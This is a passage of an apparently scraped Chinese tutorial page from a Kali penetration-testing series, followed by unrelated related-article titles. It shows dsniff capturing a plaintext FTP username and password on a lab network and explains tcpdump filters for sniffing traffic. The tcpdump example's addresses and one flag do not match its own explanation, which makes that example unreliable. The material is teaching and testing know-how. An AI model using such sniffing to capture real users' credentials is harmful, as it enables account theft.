dsniff:     listening     on  eth0

20/08/13     18:54:53    tcp 192.168.2.20.36761    ->   192.168.2.22.21                     (ftp)

USER  user

PASS  user01

从中可以看到,dsniff捕获了客户端登录FTP服务器时所用的用户名和密码。

tcpdump

tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件 表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符 合条件表达式的数据包。

tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据。

如需启动tcpdump程序,可在终端中执行下面这类指令。

#tcpdump –i    eth0   –s 96

这个命令将监听eth0 网卡(-i    eth0),捕获大小为96   字节(-s                     96)的数据包。

现在尝试嗅探从IP地址10.0.2.1510.0.2.100ICMP封包,这里设置嗅探eth0    接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和 ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:

#tcpdump    -n -t       -X   -I        eth0    –s 64  icmp        and    src 192.168.56.102   and         dst  192.168.56.101

因为指定了条件表达式,tcpdump程序只会显示符合条件表达式的网络数据包。在上述指令中,我们限定程序只显示由IP192.168.56.102的主机向IP192.168.56.101的主机发送的 ICMP数据包。

wireshark(略)

  网络分析程序

Kali渗透测试之六提升权限相关推荐

  1. Kali渗透测试:使用Armitage针对漏洞进行攻击

    Kali渗透测试:使用Armitage针对漏洞进行攻击 以ms17_010_eternable模块为例("永恒之蓝")经典的漏洞,单击这个模块以后就可以开始攻击了. 实 验 环 境 ...

  2. 学习Kali渗透测试笔记

    Kali渗透测试 一.什么是渗透测试 1. 软件测试 2. 安全测试与渗透测试 3.渗透测试 二.渗透测试的目标 1. 网络硬件设备 2. 主机操作系统 3. 应用系统 4. 数据库系统 三.渗透测试 ...

  3. Kali渗透测试:网络数据的嗅探与欺骗

    Kali渗透测试:网络数据的嗅探与欺骗 无论什么样的漏洞渗透模块,在网络中都是以数据包的形式传输的,因此如果我们能够对网络中的数据包进行分析,就可以掌握渗透的原理. 另外,很多网络攻击的方法也都是发送 ...

  4. Kali 渗透测试:利用HTA文件进行渗透攻击

    Kali 渗透测试:利用HTA文件进行渗透攻击 由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个 ...

  5. Kali渗透测试:使用工具Metasploit攻击操作系统

    Kali渗透测试:使用工具Metasploit攻击操作系统 如果在目标系统上发现了漏洞之后,接下来就是要利用漏洞渗透工具对目标系统进行攻击.Metasploit是目前非常优秀的一款漏洞渗透工具. 1. ...

  6. Kali渗透测试-远程控制:6200端口变成“后门”

    Kali渗透测试-远程控制:6200端口变成"后门" 测试环境 攻击机:Linux kali 5.16.0-kali7-amd64 (IP:192.168.68.248) 靶机:M ...

  7. Kali渗透测试:使用browser_autopwn2模块进行渗透攻击

    Kali渗透测试:使用browser_autopwn2模块进行渗透攻击 如果觉得一个一个地选择模块很麻烦, 也可以使用browser_autopwn模块.这种攻击的思路是渗透者构造一个攻击用的Web服 ...

  8. kali渗透测试系列---信息收集

    kali 渗透测试系列 文章目录 kali 渗透测试系列 信息收集 信息收集 信息收集阶段可以说是在整个渗透测试或者攻击很重要的阶段,毕竟知己知彼才能百战百胜,否则从目标主机使用的平台到数据库的使用再 ...

  9. Kali渗透测试:身份认证攻击

    Kali渗透测试:身份认证攻击 1.1 简单网络服务认证的攻击 网络上很多常见的应用都采用了密码认证的方式,如SSH.Telnet.FTP等.这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问 ...

最新文章

  1. About mac80211
  2. spring 源代码地址
  3. ES6必知必会 (七)—— Generator 函数
  4. python3有多少个关键字排序_python3 数据结构和算法-- 通过某个关键字排序一个字典列表...
  5. 数仓架构的持续演进与发展 — 云原生、湖仓一体、离线实时一体、SaaS模式
  6. 拔掉数据库的电源会怎样?阿里云数据库新型灾备架构,让云端容灾有“备”无患
  7. 计算机教学与实际生活相结合,小学数学教学与实际生活相结合的方法思考
  8. 信息学奥赛一本通(1023:Hello,World!的大小)
  9. magento 上传图片slider Multiple Banner Extension
  10. python作用域的顺序_“Python”函数的参数和范围,及其,作用域
  11. Git学习总结(8)——Git和SVN之间的基本区别
  12. BZOJ——1626: [Usaco2007 Dec]Building Roads 修建道路
  13. Android Architecture Blueprints----安卓架构详细分析
  14. Android开发-Android项目结构
  15. LaTeX数学符号大全
  16. FAT,FAT32,NTFS
  17. JavaWeb - 工作窃取算法 Work-Stealing
  18. C语言 金明的预算方案(动态规划):金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间金明自己专用 的很宽敞的房间。
  19. Fluent UDF代码编写
  20. 排序知识点总结及代码实现(C++)

热门文章

  1. 基于Java+SpringBoot+Vue前后端分离网上银行系统设计与实现(视频讲解)
  2. python全局变量在整个程序内都有效_Python 全局变量使用
  3. 男性英文名字汉语意思大全
  4. oppo手机云服务器关闭链接,OPPO手机的云服务和云备份功能怎么开启,如何使用...
  5. Unity 创建Text时不使用默认字体
  6. 利用WinDbg和wscript.exe分析JavaScript脚本
  7. kali中怎么dos攻击
  8. List.removeAll()失效?
  9. java全文搜索服务器 solr_Apache Solr采用Java开发、基于Lucene的全文搜索服务器
  10. 怎么样合理有效的使用科技创新券,创新券兑换